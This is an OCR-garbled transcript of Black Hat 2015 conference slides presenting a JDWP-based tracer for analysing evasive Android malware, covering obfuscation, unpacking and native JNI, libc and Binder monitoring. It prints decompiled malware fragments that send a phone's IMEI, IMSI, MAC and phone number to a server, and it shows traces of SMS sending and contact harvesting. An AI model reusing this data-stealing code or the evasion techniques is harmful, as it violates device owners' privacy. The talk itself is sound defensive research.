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What I will talk bout..

e Challenges we faced on android malware analysis:
— Fast code analysis (Reversing) <- always challenge ®
— Obfuscation
— Various dynamic code loading techniques (file/memory)

— Anti-analysis techniques(advanced android malware,
protectors)

— Native behavior, obfuscation, packing
— Maintenance
— Environment detection (Emulator/Rooting detection)
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What | will talk about..

* A tool for tracking execution flow of android malware

— Supports tracking the android application with your nothing
changed phone

— The tool has following features to track behaviors of evasive
android malwares:
* No platform modification
Regardless of root privilege
Selective behavior tracking
Support tracking extension(plug-in)
Native layer monitoring (libc, JNI, Binder)
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What I will talk about..

* Flow-centric code analysis

— DEX exports a lot of code informations such as method
arguments, debug symbols, register information, etc.

— DVM supports JDWP(Java Debug Wired Protocol)

— JDWP is excellent tracer for monitoring app’s behaviors ©
* Method execution flow
 Symbol information
e Object tracking
* Call stack
* FEtc..

— ART(Android Runtime) supports JDWP
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* Tracking behaviors of evasive android malware

— User-defined method and Third-party libraries monitoring
(Crypto, Network, etc)

— Obfuscated code monitoring
(String, Reflection, AssetEncryption, etc)

— Dynamic loaded code detecting and tracing

— Breaking anti-analysis techniques
(anti-jdwp, anti-gdb, anti-emulator, device detection, etc)
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Fast code analysis
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* Tracking behaviors of evasive android malware

— This code steals phone number, mac address, ip address, IMEI
and IMSI

new Threadi() {
public wvoid runi) {
JECHCEJect w1 = new JSCHObject():
try {
vl.put ("mokbile", StringUtil.getMachine (Mainfctivity.this.gethApplicationContext(})]);
vl.put ("mac", MyTools.getlocalMac (Mainfctivity.this.getApplicationContext(})):

vli.put ("ip", MyTools.getLocalHostIp() )
vl.put("imei", this.valSftm.getDeviceId()):
vl.put("im=i", this.valStm.getSubscriberId()):

"{Z"J=on\":\"" + StringUtil.stringToJson(vl.toString()) + "\"}");

catch (J53CHException v0) {
v0.printStackTracel):

HoopUtil.postJdson (Mainfctivity.this, String.wvalueOf (Constant.url) + "/=servlet/Uploaddac",




blgc’:k hat

LsASRNTS

2 com.shit MainActivity$1 (id=8300483552...

tj org.json.JSOMObject (id=830048355984)

#= android.content. ContextWrapper (id=830...

2 com.shit.util. StringUtll (Mot object)

= android.content ContextWrapper (id=830..
@ android telephony TelephonyManager (id=..

@ android telephony TelephonyManager (id=..

i orgjsonJSONObject (id=830048355984)

& android.content ContextWrapper (id=830..

2, com.shit util MyTools (Mot objact)
8 orgJjsonJSONCbject (id=830048355984)
2 com.shit.util.MyTools (Mot object)

tj org.json.JSOMObject (id=830048355984)

@ android telephony TelephonyManager (id=..

tj org json.JSONCbject (id=830048355984)

@ android telephony TelephonyManager (id=...

i orgjson SOMObject (id=830048355084)
i orgjsonJSONObject (id=830048355984)
2, com.shit util StringUtil (Not object)

2, com.shit util HttpUtil (Mot object)

|-==<init=() new JIOHOEject():

|---getapplicationContext])

R R getApplicationContext()

-—|---getLineINumber()

-=-|---getSimSerialMumber()

vl.put ("mobile", StringUtil.getMachine (Mainfctivity.this.getipplicationContext())):

-——-put("mobilg", "1028062177")

5 -getpplicationContext)

vl.put("mac", MyTools.getLocalMac(Mainfctivity.this.getApplicationContext()}):

vil.put("ip", MyTools.getLocalHostIp()):

[---put("mac", "04:D7TLFF27T73"

[---put("ip", "102.81.187 48")

|---getDeviceld()

|---putC’imer’, "336428050889883) §vq put ("imei”, this.valStm.getDevicelId()):

vl.put("imsi", this.valStm.getSubscriberId());
HttpUtil,postJson (Mainketivity.this, String.valueOf (Constant.url) + "/servlet/Uploadiac",
"{\"3son\":\"" + StringUtil.stringTodson(vl.toString()) + "\"}");

|---getSubscriberld])

[---put("imsi”, "430084600092439")

|-—-toString()
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Obfuscation

 Symbol name obfuscation

2 com.andreid.msg.LockReceiver (id=83004...

2 com.android.msg.LockReceiver (id=83004...

2 com.android.msg.d (Not abject)

2 com.androidmsg.d (id=830048269712)

2 com.androidmsg.b (Not abject)
javax.crypto.spec. DESedeKeySpec (id=830... -
javax.crypto.SecretkeyFactory (Mot object) -
javax.crypto.SecretleyRactory (id=830048... --|
javax.crypto.Cipher (Not object) -
javax.crypto.spec IvParameterSpec (id=83.. -
javax.crypto.Cipher (id=830048466384)  --

javawcrypto.Cipher (id=830048466384) -

---<init=(instance of byte[25] (id=830048465280])

---getinstance("desede")

---generateSecret(instance of javax.cryptospec. DESedeKeySpec(id=330048465264))

---getinstance("desede/CBC/PKCS5Padding”)

---<init=(instance of byte[8] (id=8300438468432))

---init(2, instance of javax.crypto.spec.SecreteySpeciid=830048465448), instance of javax.crypto.spec IvParameterSpec(id=830048466416))

---doFinal{instance of byte[16] (id=830048466872))

@ android.telephony.SmsManager (Not object) ---]------ |---|---getDefault)

@ android.telephony.SmsManager (id=8300... -—|--—-—-|-—|—sendTextMessage("+8613308073247", null, "B& BB #ZRIN | instance of android.app.Pendingntent(id=830048468744), null)
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Obfuscation

* String encryption
— String obfuscation of DexGuard

method public onCreate (Bundle)V
.registers 4
param pl, ""
invoke-super

Disassembled code of string obfuschtion

Lotivity-»onCreate (Bundle)}V, pld, pl

new-instance pl, T
invoke-direct TextView
=sget-object w0, HelloWorldlctiwvity-> ":[B
const/4 vl, Ox7
aget-byte w0, w0, w1
-- _ r r

invoke-static HelloWorldactivity->" (I, I, I)5tring, v0, v0, v0 # Cbfuscated strin

I monreoreanl b ect hodu]
invoke-virtual String->
move-result-cbject w0 public void onCreate (Eundle arg3) {
invoke-virtual TextView super. onCreate iargS] :
const/16 v0, 0Ox00 . . . . -
invoke—virtual Tewtview TextView v3 = new TextView(((Context)this)):
invoke-virtual HelloWor foamosrho = Fan L ot foe s AT oo ame o 10T —
const-string w0, "Dex@ wv3.setText (HelloWorldhctivitcy. * {(v0, w0, w0).intern{)):; Cbhfu=cated strin
const/4 vl, Ox1
invoke-static Toast->m VI EELGLavItY (LT,
move-result-object w0 this.zsetContentView ({ (View)v3)):
invoke-virtual Toast->s=] Toast.makeText (( (Context)this), "DexGuard has encrypted the message string ins
return-void 1) .show() :

end method -

Discompiled code of string obfuscation
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com.example HelloWorldActivity (Not object)
android.app.Activity (id=830045738552)

android.app.Activity (id=830045738552)
com.example HelloWorldActivity (Not object)

com.example HelloWorldActivity (id=8300457...

com.example HelloWorldActivity (id=8300457...

javalangString (id=830045774032)

android.app.Activity (id=830045738552)

Obfuscation

--------------- <clinit>()
--------------- <init>()
--------------- |---<init>()

......... |---onCreate()

HAE 48 Hy

Code position |
(for static analysis)

com.example.HelloWorldActivity: :0x48(72)
|com.example.HeIIoWorIdAcﬂvity:onCre te:ile(s0)
android.app Activity:performCreate:0x
appnstrumentation:callActivityOnCreate:0
android.app ActivityThread:performLaunchActivity:0)
android.app ActivityThreacthandleLaunchActivity.0x
android.app ActivityThread:access$900:0x0(0)
android app ActivityThread$H:handleMessage:0x48
android.os.Handler:dispatchMessage:0x28(40)
android.os.Looper:loop:0x2f2(754)

android.app ActivityThread:main:0x70(112)
javalang.reflect Method:invokeNative:Oxfffffffe(-2)

£l Lo smesoan

ariur

javalang.String. <init>

EfQ!

0I5

1 3 inDecrypted string o

2 ] byte]

deobfuscated string is

data

“Hello world!”

Hello world!

move-result-object
invoke-virtual

&

invoke-super Letivity->onCreate (Bundle)V, p0, pl
new-instance pl, TextView
invoke-direct TextView-><initc> (Context)V, pl, po0
sget-object v0, HelloWorldactivity->":[B
const/4 vl, 0x7
aget-byte v0, v0, vl
P LTS NARED iiﬂ iiﬂ giil‘l‘

I invoke-static HelloWorldactivity->" (I, I, I)String, v0, v0, v0 # Cbfuscated string
MOVE=IESULL=UD JECL U
invoke-virtual String-»intern()String, v0

w0

TextView-»setText (CharSequence)V, pl, v0
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 Method invocation hiding
— Method invocation hiding of DexGuard

— Method invocation hiding insist of string encryption and Java
reflection

v0 1 = HelloWorldActivity$if$39 ,13 ,327) ..);
try {
v0 3 = Class.forName (HelloWorldActivity$if$d9 ,15 ,614) ._)).getMethod (HelloWorldActivity$ifs.
., (314, 10, 38}, String.class, String.class).invoke(null, v0 1, v0 1};
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Obfuscation

 Method invocation hiding

— Method invocation hiding of DexGuard
(Most invocation hiding is performed using Java reflection)

© javalang.Class (id=83004177179... ------------ l---|--- |- getMethod(instance of javalang.Class[2] (id=830046030952), "loadCla

“ javalangreflect Method (id=830... ------------ |------|-- |- -{dalvik.system.DexFile- =loadClass}invoke(instance of java.lang.Obje

& rm avamnla Hallaindd A ctivind o ___ j ava.lang.reﬂect.Me}hgd->invgkg (Method hiding by java reflection)
il

hoe of dalvik, svstem, DexFile(id=830045023040) receiver

Ef2! 0|2 u
pper vaLuess A object of dalvik.system.DexFile created using java reflection

dalvik.system.CloseGuard(i... guard dalvik.system.CloseGuard(id=830026532096)

| java.lang.String mFileName  "/data/data/com.example/ B0%E"
| int mCookie 19166132596
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Fast code analysis: example

 Complicated code: TamperDetection of DexGuard

— DexGuard employs multiple obfuscation techniques
(String encryption, Class encryption, method invocation hiding)

2507, 2516, 2523, 2526, 2521, 2504, 2566, 2468, 2523, 2534, 2506, 2523, 2532, 2508,
2544, 2486, 2524, 2516, 2536, 2513, 2521, 2552, 2482, 2510, 2532, 2521, 2502, 2524,
2516, 2512};

HelloWorldhctivitySifsls5l = ~._;
Chject wld4 = mmll;
Class wll = null;
int v0 = HelloWorldhctiwvity5ifs125 & ~._;
String w0_1 = HelloWorldhctiwvity$ifs . (v0, w0, 0):
try {
v1l2 = Class.forName (HelloWorldRActivitcySifs59 ,11 ,214)  ._)) .getDeclaredConstructor (String

.clasg) .newlnstance (v0_1);

catch (Throwakble w0_2) {

throw v0_2.getCause|():

try {
if{Cla=ss. forName (HelloWorld@ictivicy$ifs59 ,11 ,214)  ._)) .getMethod (HelloWorldictivicy$ifs

.. (230, HelloWorldhctivitcy$if$52 ,15 & ~._), null).invoke (vl2, noll).boocleanValue ()
Pod
goto lakbhel 144;
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Fast code analysis: example

 Complicated code: TamperDetection of DexGuard

1%t Joading
L{F'Ile (Mot object) ------------ |---]---|---]---loadDex(" /data/data/com.example/. S F", 0, "/data/data/com.example/ ZER{E") I
2 Joading

' dalvik system.DexFile (Not object) ------------ |---|---]---|---loadDex("/data/data/com.example/.E3F4&", 0, "/data/data/com.example/. ZER1E")

Integrity checking routine
java.lang.reﬁect.Me‘[hod (id=830... -----—---—--
) javaio.RandomAccessFile (id=8.. ------------
& javalangreflectMethod (id=830... ------------
i javalang.long (id=830045995776) ------------

B [ EEEEREES {andrnid.cnntent.Cnntext—:-getmhth}invnke(null, instance of com.example.HelloWo
-=-]---]-m e <init>("/data/app/com.example-lapk”, "r")

--=]---|--------- {java.io.RandomAccessFile->length}invoke(null, instance of java.io.RandomAccessFile(id=83004
e B longValue()

-=|---]--- - valueOf(15256)

--=]---|--------- {java.io.RandomAccessFile->seek}invoke(instance of java.lang.Object[1] (id=830045995880), in

{4 javalang.long (Not object) ~  ---------ee-
© javalangreflectMethod (id=830... ------------
i javautilzip.CRC32 (id=83004599... ----------=-|--- |---|--------- <init>()
© javalangreflectMethod (id=830... ------------
| java.utilzip.CRC32 (id=83004599... ------------

I java.utilzip.CRC32 (id=83004599... ------------

S TR — {java.io.RandomAccessFile->readFully}invoke(instance of java.lang.Object[1] (id=830045996551
B R update(instance of byte[8] (id=830045996520))
e BN getValue()
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Fast code analysis: example

 Complicated code: TamperDetection of DexGuard

Certification checking routine

ctMethod (id=830...
ctMethod (id=830...

ger (Not object)

ctMethod (id=830...
ctMethod (id=830...
ctMethod (id=830...
ctMethod (id=830...

uffer (Not object)

ffer (id=830046005...

e Il REEEEEE R {android.content.Context->getPackageManager}invoke(null, instance of com.exa
we]e ] {android.content.Context->getPackageNamelinvoke(null, instance of com.examp
e B B valueOf(64)

e Bl L {android.content.pm.PackageManager- > getPackagelnfolinvoke(instance of java.l
e Bl L {java.security.MessageDigest->getInstance}invoke(instance of java.lang.Object[1
e Il REEEEEE R {android.content.pm.Signature- > toByteArray}invoke(null, instance of android.co
e e R {java.security.MessageDigest- > digest}invoke(instance of java.lang.Object[1] (id=
|- - wrap(instance of byte[16] (id=830046004576))

-] equals(instance of java.nioIntArrayBuffer(id=830045997624))
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 Dynamic loading: DEX file
— There are several hooking point to detect dynamic code loading

— You can get the loaded dex file with collaboration between
JDWP and Injected code

PPTLLLLL L Injected Code

Detect dynamic loading!

,Alarm! and Extraction!“

App DEX

Illlllll.
:SecondDEX

n file A
eEEEEEEN

<App process>
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* Dynamic loading: memory patch

— To patch code, it needs to call mprotect() to change memory
privilege writable to patch code

— We hook the mprotect() and rejects request for write privilege
— It will cause access violation (SIGSEGV)

DEX image
(read-only area)

Instruction caused the signal
(Code address in CodePatch.so)
Accessed memory address Code area
(Encrypted area)

Thread context Write!

- Alari! and Extraction!

CodePatch.so

<App process>



eat | grep unpacker _sigHandler In sigHandler function, we got these information
3): write fault -> uctx-) ue_meontext. arm_pe=Bx4B147370

X D "’
blackhat L el
USA 2015 - etse LA . .
' 1) Address of instruction caused segmentation fault: 0x40147370
_address=0x727e203c - Link Register: 0x727ee4al
ele 2) Accessed memory address: 0x727e203c

3) Thread context (PC: 0x40147370)

C:hlsershisantapark:

while { *{_DWORD =)u5 )}

::em:e:((:oza‘*)(us f :2) @, 8xCu); // This is fault poillt
u7 = 8; /74 18a1
We found For ( i = 8 i < x((_DUORD *)u5 + 1); ++i ) - Address 0x40147370is in memset function
Unpacking rou e{ VT LR SRR S8, 07 S 16 - _PAIR_((unslgned in el A1, 1) 02 a2 0x727eedal is for apkprotect.so
of APKProtect gabily! ..7; ©,t. . 5, ~ we; - While loop is unpacking routine
without reversig fsetcwoia =)cvs « 1 - 12y, o, sxcuys - Scalpel detected the unpacking point
:g : Eiﬂ:;NEE\!:ai)((char =Jud + 24);

eturn addr;

Accessed memory: 0x727e203c is in classes.dex

Link Register:

- 27f1000 727f2000 -w-p 00003000 h3: 1a 1179701 /data/app I|b/google service- 1/ IlePKProtect S0] ,797e203¢

- 727f2000-727f3000 rw-p 00004000 b3:1a 1179701 /data/app-lib/google.service-1/libAPKProtect.so
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* Monitoring extension performs using dex injection

* We can inject monitoring extension whenever it needs

* We makes our own process environment to track behaviors of the
evasive android application using wait-for-debug feature
(Wait-for-debug feature has presented in BlackHat ASIA 2015 ©)

* With monitoring extension, we can get the various things in
nothing changed phone such as anti-analysis techniques, file
extraction, Exploring app private directory, various detection, etc



N
\

K

Mixed-environment code with JNI

 Malwares conceal their behaviors with using
Native code

Java Export table Native code

signed int _ fastcall sub_1ACCO(int a1, int a2, int a3)

native void HandleOnCreate() { ‘@

) INI_COnLoad 000145C4 i
ReadDAT(_IMIEnv *,_jobject #) @ G00194E8 int w3; /7 roE1
native void HandlecnDestroy() { SetINIEnv(_INIEnv *,_jobject *) @ G001 39AC int wh; f7 r3@1
} _Unwind_Complete 000ADEBEO signed int result; // ro@Es

native void ReadDAT() (\3\)

} _Unwind_GetCFA 000ADBAR u3 = *={ DUORD =)(al + 92});

_Unwind_GetDataRelBase QODAEBCA vh = a3;
if ( ={ DWORD =){al + 88) - v3 < a3 )

_Unwind_DeleteException @ ? 000ADBE4

native void ReadJdS() { {
}
LABEL _4:
native void ReadXML (MoriReceiver argl, tent arg2) { result = B8;
} H
i else
native void SetJNIEnv() (w/\]_)
} while ( vk )
public =r onBind( =nt arg2) f{ {
s ——ul;

return null; ] j ?

} Encrypted st"ng if ( =( BYTE =){u3 + ul) ?= =({ BYTE *)(a2 + uk) )

goto LABEL_4;

pqgllc void onCreate() { MBHGFABMTGozpX{PpWzm1gdQBjuGeDCveSMSFHI6juSWiEQ1 Dg8XX9yTTHVNC4hDclBoazL }
1) ) rf) = 0ZpXiPpWzm1gdCBjuGoDCve! uSw g ' 4hDclBoazVL7a _ -
Y tziziszii:né),” - GOZAZMNOLSQNZISNLAMQ46mGhIZiwIOROKy62g DA *(_DWIJR? *!(31 + 92) = v3 + a3;
) tms"_;a;;;;e;‘q;,;;;e“. ! HLHADWZKBMZLiXM1RvbljIGBwhHEMugKzVxE1 Uehwy result = 1;
e 8 XMLSLGZMLS}Q6rUtct4zB2L2 pduxajx64YgUOZHWUATPUYCVTEKKCAVNBS KmKRpokvWhEoxnzT ¥
(3) this-ReadhAT(); VRRADOXOLOPN 11 TWARTxITzgZeP54RN QU qyRUMGyaX4duL H1 Bxa2miVSaAeaeODRTRDTytgd return results
this.mlastTine = tem.currentTimeMillis(); COTGVSXUDSZRhUNHOOOIH HIMm2dhOdagmxMM 1 nk6A y ’
super.onCreate() ; VEFMVQZMLEDEWNKVEDPVENEbarxOmryt7og7)TX7Kn
}

Example(Fake KakaoTalk Security Plug-in)
www.virusbtn.com/virusbulletin/archive/2013/12/vb201312-KakaoTalk



bibekhat

LIS A2 RS

il ‘;“!v ?’
) II"

Tracking Natie Behavior

* Need 3-layer monitoring
— JNI : calling native, calling Java
— Libc : calling libc
— Binder : communication with other app/service
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Java
Component

H

Native
Component T Libc Android App

Target App Service Manager

Dalvik VM
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Tracking Native Behavior : JNI

* Java - Native
— Hook dvmCallJNIMethod()

void dvmCallJNIMethod(unsigned int const* args, Jvalue *pResult,
Method const* method, void *self)

jobject (+CallObjectHethod) (NI Env+, jobject, jmethodID, ...}:
jobject (+Call ObjectHethod¥) { MIEnw+, jobject, jmethodID, wa_list]):
jobject (+CallObjectMethodA) (N IEnw+, jobject, imethedID, jvalue+);
jboolean  (+CallBooleanethod) (M IEnv+, jobject, jmethodID, ...):

) 1 jboolean  (+CallBooleandethod¥){ N IEnv+, jobject, jmethodID, wa_list);
a Ive ava jboolean (+CallBooleandethodA]{ N IEnw+, jobject, jmethodID, jwalues):
jbvte {+CallByteethod) (W |Env+, jobject, jmethodID, ...}:

jbyte (+CallByteMethod¥) (JNIEnv+, jobject, jmethodID, wa_list):
ibyte (+CallBytelethodA) (NI Envs, jobject, imethodID, jvalue+):
. . jchar (+CallCharHethod) (N |Enw+, jobject, jmethodID, ...}:
jchar {+Call CharHethod¥) (JHIEnv+, jobject, jmethodID, wa_list);
a nge u n C IO n S a e I n nV jchar (+CallCharHethodA) (JNIEnv+, jobiect, imethodID, jvalue+);
jshart (+CallShortMethod) (JNIEnv+, jobject, jmethodID, ...):
jehort (+CallShortMethodY) (NI Env+, jobject, jmethodlD, va_list):
.o * d * d jshort (+CallShortHethodA) (NI Env+, jobject, jmethodlD, jvalues);
jint {+Call IntHethod){ M |Env+, jobject, jmethodID, ...}:
Jlnt ‘l N I_XXXXXXX(J N I E nv env’ VOI reserve ) jint (+Call IntHethod¥) (N Env+, jobject, jmethodID, wva_list);
jint (+Call IntHethodA) (N |Env+, jobject, jmethodID, jwvalue+);
jlang (+CallLongHethod) (N |Env+, jobject, jmethodID, ...J:
jlong (+CallLongHethod¥) (NI Envs, jobject, imethodID, wa_list);
jlong {+CallLongHethodA) (JHIEnv+, jobject, jmethodID, jvalue+);
jfloat (+CallFloatHethod) (JNIEnv+, jobject, jmethodID, ...J;
jfloat (+CallFloatHethod¥) (NI Env+, jobject, imethodlD, va_list):
jfloat (+CallFloatMethodA) (NI Env+, jobject, jmethodlD, jvalue+):

jdouble (+CallDoublelethod) (NI Env+, jobject, jmethodlD, ...}
jdouble (+CallDoubledethod?)({ M IEnw+, jobject, jmethodID, wa_list):
jdouble (+CallDoublelethodA) (M IEnw+, jobject, jmethodID, jvalues):
void (+CallYoidHethod){|Env+, jobject, jmethodID, ...);

void {+CallYoidiethod?) (JNIEnv+, jobject, imethodID, wa_list):
void {+CallYoidiethodd) (JNIEnv+, jobject, imethodID, jvalue+);
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Tracking Native Behavior : JNI

HandleOnCreate()

em—
@I: call UNIL0x7af749ad - SetINIEnV( ) Thumb mode(-}-]) . 5 I S ,biL}mLLLilleiélv-i—(»}&NI sub 1m:r:u(|inl a1, int a2, int a3)
@|: call N[ox7af7b0e0} HandteOmCTERE T ' ¢
HandleOnCreate call FindClass( env:0x41d31e68, name:"android/provider/ContactsContractSContacts) ret:0xf8d00021

int v3; // ré@1

S ; o -2@
HandleOnCreate call FindClass( env:0x41d31e68, name:"android/provider/ContactsContractSCommonpataKinds$Phone”) ret:0xbcb00029 ‘I,[iI:,n:(:'n/n/ :-;‘[‘.ln; 17 vroRY
HandleOnCreate call FindClass( env:0x41d31e68, name:"android/content/ContentResolver”) ret:0x1d4(0031

HandleOnCreate call CallObjectMethodV(env:0x41d31e68, 0bj:0xc4200019, “getContentResolver’) ug Sul DUORD; w)y(at 2792);
HandleOnCreate call CallObjecthMethodV(env:0x41d31e68, obj:0x1d700035, "query”) ;F' E :¥'nx1[1|z|) x)(al + 88) - u3 < a3 )
HandleOnCreate call FindClass( env:0x41d31e68, name:"android/database/Cursor’) ret0x2310003d

HandleOnCreate call CallBooleanMethodV(env:0x41d31e68, 0bj:0x2a100039, "moveToFirst’) LABEL _4:

HandleOnCreate call CallBooleanMethodV(env:0x41d31e68, obj:0x2a100039, “isAfterLast”) ; result:= 6;

HandleOnCreate call CallVoidMethodV(env:0x41d31e68, 0bj:0x23100039, "close”) Gel cn“tacls else

HandleOnCreate call CallObjectMethodV(env:0x41d31e68, obj:0xc4200019, "getPackageName”) {

HandleOnCreate call FindClass( env:0x41d31e68, name:"android/content/intentFilter”) ret:0xf8f00021 b_nnd negisler necewer '{""119 (vh)

HandleOnCreate call CallVoidMethodV(env:0x41d31e68, obj:0xbcc00029, “setPriority”)

HandleOnCreate call FindClass( env:0x41d31e68, name:"com/kakaoitalk/plus/MoriReceiver”) ret:0xf420002d igw(l'.( BYTE x)(u3 + ul) = %( BYTE x)(a2 + ui) )
HandleOnCreate call CallObjectMethodV(env:0x41d31e68, obj:0xc4200019, "registerReceiver”) goto LABEL_4;

HandleOnCreate call FindClass( env.0x41d31e68, name:"com/kakaoitalk/plus/MoriServiceSMyObserverf) ret:0xf9000021 ’ -

HandleOnCreate call FindClass( env.0x41d31e68, name:“android/content/ContentResolver) ret.0x1d600031 T,(:),t]",mz ;;("1 821 e e

HandleOnCreate call FindClass( env.0x41d31e68, name:"android/net/Uri") ret.0x1ee00035 3

HandleOnCreate call CallStaticObjectMethodV(env:0x41d31e68, obj:0x1ee00035, "parse”) return result;

HandleOnCreate call CallObjectMethodV(env:0x41d31e68, obj:0xc4200019, "getContentResolver”) }

HandleOnCreate call CallVoidMethodV(env:0x41d31e68, 0bj:0x1eb00041, “registerContentObserver’)—
(3| call JNI 0x7af7a4e9 : ReadDAT()
ReadDAT call FindClass( env:0x41d31e68, name:"android/content/Context”) ret:0x6690001d
ReadDAT call CallObjectMethodV(env:0x41d31e68, 0bj:0xc4300019, "getSystemService”)
ReadDAT call CallObjectMethodV(env:0x41d31e68, obj:0xbd500029, "getDeviceld™) -
ReadDAT call CallObjectMethodV(env:0x41d31e68, obj:0xbd500029, "getLine 1Number”) Get ne‘"ce In'o
ReadDAT call CallObjectMethod(env:0x41d31e68, obj:0x1d20043e, "get”)
ReadDAT call CallObjectMethodV(env:0x41d31e68, obj:0xc4300019, "getPackageResourcePath”)
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Tracking Native havior : LIBC

* Monitor calling libc with JNI

- ReadDAT call CallObjectMethodvieny:0xd 1d31e68, obj:0xc4300019, "getPackageResourcePath

Showing libc function and.call:stack
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Tracking Native Behavior : BINDER

 NOT hooking ioctl() at binder driver

 Hooking Binder function(related transact) at IPC
layer
— S0 we can monitor custom service
— No performance issue

* Can see all Message between targeted App and
service/app through the binder
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Tracking Native Behavior : BINDER

Service Client Service Server

Service User , BnFooService
Service Layer |
) —_ foo() |

a

) 4

~ =\ ~ =\
BpFooService BnFooService
P RPC Layer
| foo() |

_ | onTransact() | |

1
v " (" BBinder )

BpBinder _
il IPC Layer | onTransact() | Service Layer
\| transact() |/

| transact() |

\ 4

IPCThreadState /IPCThreadState )

| transact() | | eeateCommand)) |
| takWithDriver() | \| takWithDriver( |/
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Tracking Native Behavior : BINDER

—
| Thread| Tag - s . ~ . o
17209 SN_SEND p— argetSemvice Service Coue
17209 SN_SEND s Sernvice(0) = android. media.lAudioFlinger code = GET_MIC_MUTE(Ox16)
17209 SN_SEND 0001000018 00000061006E0064007200.......an.dr.

17209 SN_SEND GF 00 69 00 G4 00 2E 00 6D 00 65 00 64 00 69 00 o.i.d...m.e.d.i.

17209 SN_SEND ©61002E 0049 004100750064 0069006F00a.lAudio

17209 SN_SEND "4G006C0O0E900GEDNOET D0B50072000000F Ling.er.

17209 SN_SEND (BH2AB2T3TFO10000409F AST3 28 TAD0 T *be...@.slzy

17209 SN_SEND
17115 SN_RECV :
17115 SN_RECV o

y_b_transact() pinterfaceMame=android. media.lAudioFlingerClient

17209 SN_SEND c===reply=== 0

17209 SN_SEND :

17115 SN_RECV S Senvice(0) = android. media lAudioFlingerClient code = 10_COMNFIG_CHANGED {0x1)
17209 SN_SEND :

17115 SN_RECV 000100002900000061006E0064007200...L.andr.

17115 SN_RECV GF 00 69 00 64 00 2E 00 6D 00 6500 64 00 69 00 cid. .m.e.di

17115 SN_RECV 61002E00490041007500640069006F00a..lAudio

17115 SN_RECV 46 00 GC 00 G900 GE QD G7 00 B5 00720043 00F Lin.g.erC. Service )ata dump
17115 SN_RECV GC 0069006500 6E00740000000000000010ent ...

17115 SN_RECV 0200000080BBO000D0T00000003000000 v

17115 SN_RECV C0 03 000050000000 P

17115 SN_RECV c===reply===0

17115 SN_RECV :

17209 SN_SEND cSenvice(0) = android. media lAudioFlinger code = SET_VOICE_VOLUME({Dx23)
17209 SN_SEND ;000100001B00000061006E00G4007200.......a.n.dr.

17209 SN_SEND :6F 00 69 00 64 00 2E 00 6D 00 6500 64 00 62 00 o.i.d..m.e.d.i.

17209 SN_SEND ©61002E00490041007500640069006F00a..lAudio

17209 SN_SEND c46006C 006900 6E 0067 0065 0072000000F.Ling.er.

17209 SN_SEND y

17209 SN_SEND ===reply

17209 SN SEND data pointer 0x77248080

17209 SN:SEND 44 00 00 00 D... Reply D‘ta dump
17209 SN_SEND

17209 SN_SEND :
17209 SN_SEND »Senvice(0) = android. media lAudioFlinger code = GET_REMNDER_POSITION{0x24)

17209 SN_SEND 200 0100 00 18 00 00 00 §1 00 6E 00 64 0072 00 ......a.n.dr.
17209 SN_SEND - 6F 00 69 00 64 00 2E 00 60 00 65 00 54 00 69 00 0.i.d..m.e.d.i.
17209 SN_SEND - 6100 2E 00 49 00 41 00 75 00 64 00 69 00 6F 00 a..1A u.d.i.0.
17209 SH_SEND - 46 00 6C 00 59 00 GE 00 67 00 65 00 72 00 00 00 F.Lin.g.er..

17209 SN_SEND 244 000000 D..
17209 SN_SEND c===reply=== 0
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Tracking Native Behawor BINDER

* |n addition to protecting information of analyst
— Camera, MIC, GPS
— Device info(phone number, IMEI, USIM, IMSI, etc)
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Thank you

Yeongung Park: santapark5@gmail.com
Junyoung Choi: iamyoung00@gmail.com



